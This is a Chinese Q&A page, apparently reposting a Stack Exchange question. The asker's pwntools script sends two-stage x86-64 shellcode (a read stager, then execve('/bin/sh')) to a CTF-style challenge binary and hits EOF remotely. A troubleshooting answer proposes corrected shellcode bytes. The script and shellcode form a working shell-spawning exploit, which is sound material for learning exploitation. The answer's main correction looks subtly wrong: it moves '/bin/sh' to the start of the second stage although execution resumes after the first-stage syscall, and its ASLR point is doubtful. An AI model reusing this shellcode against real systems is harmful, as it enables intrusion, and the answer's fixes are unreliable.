You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

基于Pwntools编写漏洞利用时远程遇Got EOF错误求助

远程执行两阶段Shellcode触发EOF错误排查

问题描述

正在学习基于Pwntools编写漏洞利用,完成某挑战时所有尝试均触发Got EOF while reading in interactive错误。本地调试时shellcode可正常执行execve('/bin/sh'),但远程服务器运行时失败。

因挑战限制采用两阶段shellcode方案:

  • 第一阶段执行read系统调用,加载第二阶段shellcode
  • 第二阶段shellcode覆盖之前的缓冲区,利用原shellcode_aux的剩余空间存储/bin/sh路径

本地通过pwndbg调试显示execve系统调用已正确执行且路径无误,但远程执行失败,相关代码如下:

from pwn import *

context.terminal = ['tmux','splitw','-h']

if "REMOTE" not in args:
    r = process("./multistage")
    gdb.attach(r, """
               b *0x040123f
               c
               si
               si
               si
               si
               si
               si
               si
               si
               si
               
               """)
    input("wait")
else:
    r = remote("(serverdir)", 2003)


#FIRST CODE TO EXECUTE THE LATER SHELLCODE
# mov rsi,rax
# xor rax, rax
# xor rdi, rdi
# mov dl,0xff
# syscall
shellcode_aux = b"\x48\x89\xC6\x48\x31\xC0\x48\x31\xFF\xB2\xFF\x0F\x05"
r.send(shellcode_aux)

#ACTUAL SHELLCODE, since it is going to override the previous buffer, the order of instructions #will continue where the last buffer ended so we need to start our shellcode where the last one #left
# mov    rdi,rsi
# xor    rsi,rsi
# xor    rdx,rdx
# add    rdi,0x4
# mov    rax,0x3b
# syscall
shellcode=b"\x48\x89\xC6\x48/bin/sh\x00\x00\x48\x89\xF7\x48\x31\xF6\x48\x31\xD2\x48\x83\xC7\x04\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05"

r.send(shellcode)
r.interactive()

排查与修复建议

1. 修正第二阶段Shellcode的关键指令错误

你的第二阶段shellcode存在明显逻辑错误:

  • 注释中第一条指令应为mov rdi,rsi(对应机器码\x48\x89\xF7),但实际shellcode开头写了\x48\x89\xC6(对应mov rsi,rax)
  • 第一阶段read系统调用结束后,rsi仍指向缓冲区起始地址(read调用不会修改该寄存器),但rax是read的返回值(读取的字节数)。执行mov rsi,rax会把字节数赋值给rsi,后续mov rdi,rsi会让rdi指向错误地址(而非/bin/sh的位置),导致execve调用失败,进程直接退出触发EOF错误。

修正后的第二阶段shellcode应移除多余指令,并调整/bin/sh的偏移:

# 修正后的第二阶段shellcode:直接将rsi的值赋给rdi,指向/bin/sh的位置
shellcode = b"/bin/sh\x00\x48\x89\xF7\x48\x31\xF6\x48\x31\xD2\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05"

2. 验证远程与本地的输入缓冲区大小差异

第一阶段shellcode中mov dl,0xff设置read读取长度为255字节,若远程环境的输入缓冲区实际容量更小,会导致第二阶段shellcode未完全写入或位置偏移。可尝试缩小read长度,或确保第二阶段shellcode长度不超过read设置的上限:

# 第一阶段shellcode修改dl的值为0x80(128字节)
shellcode_aux = b"\x48\x89\xC6\x48\x31\xC0\x48\x31\xFF\xB2\x80\x0F\x05"

3. 调整远程环境的发送时机

远程环境中,程序可能还未执行到read系统调用就收到第二阶段shellcode,导致数据被错误解析。可添加延迟或等待程序输出(若有)后再发送第二阶段代码:

else:
    r = remote("(serverdir)", 2003)
    # 若程序有提示输出,先接收
    # r.recvuntil("Enter payload:")
    r.send(shellcode_aux)
    time.sleep(0.5)  # 等待程序进入read调用
    r.send(shellcode)

4. 确认远程ASLR与内存布局影响

若远程开启了ASLR,本地与远程的缓冲区地址可能存在差异。需确保第二阶段shellcode中add rdi,0x4的偏移量与远程实际的/bin/sh存储位置完全匹配:

  • 计算shellcode中/bin/sh的起始位置距离rdi初始值(缓冲区地址)的偏移N,将add rdi,0x4改为add rdi,0x{N}。

内容的提问来源于stack exchange,提问作者Espartex200

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.09 05:51:01